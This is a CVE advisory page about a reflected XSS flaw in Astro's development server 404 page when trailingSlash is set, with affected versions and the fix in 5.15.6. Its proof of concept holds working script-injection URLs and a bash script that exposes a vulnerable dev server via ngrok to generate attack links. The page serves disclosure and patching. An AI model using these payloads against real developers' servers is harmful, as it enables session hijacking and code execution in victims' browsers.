CVE-2025-64745: Astro development server error page vulnerable to reflected Cross-site Scripting

Published Nov 13, 2025
·
Updated

Summary

A Reflected Cross-Site Scripting (XSS) vulnerability exists in Astro's development server error pages when the trailingSlash configuration option is used. An attacker can inject arbitrary JavaScript code that executes in the victim's browser context by crafting a malicious URL. While this vulnerability only affects the development server and not production builds, it could be exploited to compromise developer environments through social engineering or malicious links.

Details

Vulnerability Location

https://github.com/withastro/astro/blob/5bc37fd5cade62f753aef66efdf40f982379029a/packages/astro/src/template/4xx.ts#L133-L149

Root Cause

The vulnerability was introduced in commit 536175528 (PR #12994) , as part of a feature to "redirect trailing slashes on on-demand rendered pages." The feature added a helpful 404 error page in development mode to alert developers of trailing slash mismatches.

Issue: The corrected variable, which is derived from the user-controlled pathname parameter, is directly interpolated into the HTML without proper escaping. While the pathname variable itself is escaped elsewhere in the same file (line 114: escape(pathname)), the corrected variable is not sanitized before being inserted into both the href attribute and the link text.

Attack Vector

When a developer has configured trailingSlash to 'always' or 'never' and visits a URL with a mismatched trailing slash, the development server returns a 404 page containing the vulnerable template. An attacker can craft a URL with JavaScript payloads that will be executed when the page is rendered.

PoC

Local Testing (localhost)

Basic vulnerability verification in local development environment

<details> <summary>Show details</summary>

astro.config.mjs: javascript import { defineConfig } from 'astro/config';

export default defineConfig({ trailingSlash: 'never', // or 'always' server: { port: 3000, host: true } });

package.json: json { "name": "astro-xss-poc-victim", "version": "0.1.0", "scripts": { "dev": "astro dev" }, "dependencies": { "astro": "5.15.5" } }

Start the development server: bash npm install npm run dev

Access the following malicious URL depending on your configuration:

For trailingSlash: 'never' (requires trailing slash): http://localhost:3000/"></code><script>alert(document.domain)</script><!--/

For trailingSlash: 'always' (no trailing slash): http://localhost:3000/"></code><script>alert(document.domain)</script><!--

When accessing the malicious URL: 1. The development server returns a 404 page due to trailing slash mismatch 2. The JavaScript payload (alert(document.domain)) executes in the browser 3. An alert dialog appears, demonstrating arbitrary code execution

</details>

Remote Testing (ngrok)

Reproduce realistic attack scenario via external malicious link

<details> <summary>Show details</summary>

Prerequisites: ngrok account and authtoken configured (ngrok config add-authtoken <key>)

Setup and Execution: bash #!/bin/bash set -e

mkdir -p logs

npm i npm run dev > ./logs/victim.log 2>&1 &

ngrok http 3000 > ./logs/ngrok.log 2>&1 &

sleep 3

NGROKURL=$(curl -s http://localhost:4040/api/tunnels | grep -o '"publicurl":"https://[^"]' | head -1 | cut -d'"' -f4) echo "" echo "=== Attack URLs ===" echo "" echo "For trailingSlash: 'never' (requires trailing slash):" echo "${NGROKURL}/\"></code><script>alert(document.domain)</script><!--/" echo "" echo "For trailingSlash: 'always' (no trailing slash):" echo "${NGROKURL}/\"></code><script>alert(document.domain)</script><!--" echo "" wait

When a remote user accesses either of the generated attack URLs: 1. The request is tunneled through ngrok to the local development server 2. The development server returns a 404 page due to trailing slash mismatch 3. The JavaScript payload (alert(document.domain)) executes in the user's browser

Both URL patterns work depending on your trailingSlash configuration ('never' or 'always').

</details>

Impact

This only affects the development server. Risk depends on how and where the dev server is exposed.

Security impact

Developer environment compromise: Visiting a crafted URL can run arbitrary JS in the developer's browser. Session hijacking: Active developer sessions can be stolen if services are open in the browser. Local resource access: JS may probe localhost endpoints or dev tools depending on browser policies. Supply-chain risk: Malicious packages or CI that start dev servers can widen exposure.

Attack scenarios

Social engineering: Malicious link sent to a developer triggers the XSS when opened. Malicious documentation: Attack URLs embedded in issues, PRs, chat, or docs. Dependency/CI abuse: Packages or automation that spawn public dev servers expose many targets.

Other sources

Astro is a web framework. Starting in version 5.2.0 and prior to version 5.15.6, a Reflected Cross-Site Scripting (XSS) vulnerability exists in Astro's development server error pages when the trailingSlash configuration option is used. An attacker can inject arbitrary JavaScript code that executes in the victim's browser context by crafting a malicious URL. While this vulnerability only affects the development server and not production builds, it could be exploited to compromise developer environments through social engineering or malicious links. Version 5.15.6 fixes the issue.

NVD

Affected Software

3 affected componentsFixes available
astro Astro>=5.2.0<5.15.6
npm/astro>=5.2.0<5.15.6
5.15.6
astro Astro Node.js>=5.2.0<5.15.6

Event History

Nov 13, 2025
CVE Published
via MITRE·08:26 PM
Data Sourced
via MITRE·08:26 PM
DescriptionSeverityWeakness
Data Sourced
via NVD·09:15 PM
RemedyDescriptionSeverityWeaknessAffected Software
Advisory Published
via GitHub·10:38 PM
Data Sourced
via GitHub·10:38 PM
DescriptionSeverityWeaknessAffected Software
Free Weekly Intel

Don't miss critical vulnerabilities

Join thousands of security professionals who receive our weekly digest of trending CVEs, zero-days, and exploited vulnerabilities.

No spam. Unsubscribe anytime.

Frequently Asked Questions

1

What is the severity of CVE-2025-64745?

CVE-2025-64745 has a medium severity rating due to its potential for cross-site scripting attacks.

2

How do I fix CVE-2025-64745?

To fix CVE-2025-64745, upgrade Astro to version 5.15.6 or later.

3

What software is affected by CVE-2025-64745?

CVE-2025-64745 affects Astro versions between 5.2.0 and 5.15.6.

4

What type of vulnerability is CVE-2025-64745?

CVE-2025-64745 is a Reflected Cross-Site Scripting (XSS) vulnerability.

5

In which component of Astro is CVE-2025-64745 found?

CVE-2025-64745 is found in the development server error pages of the Astro framework.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203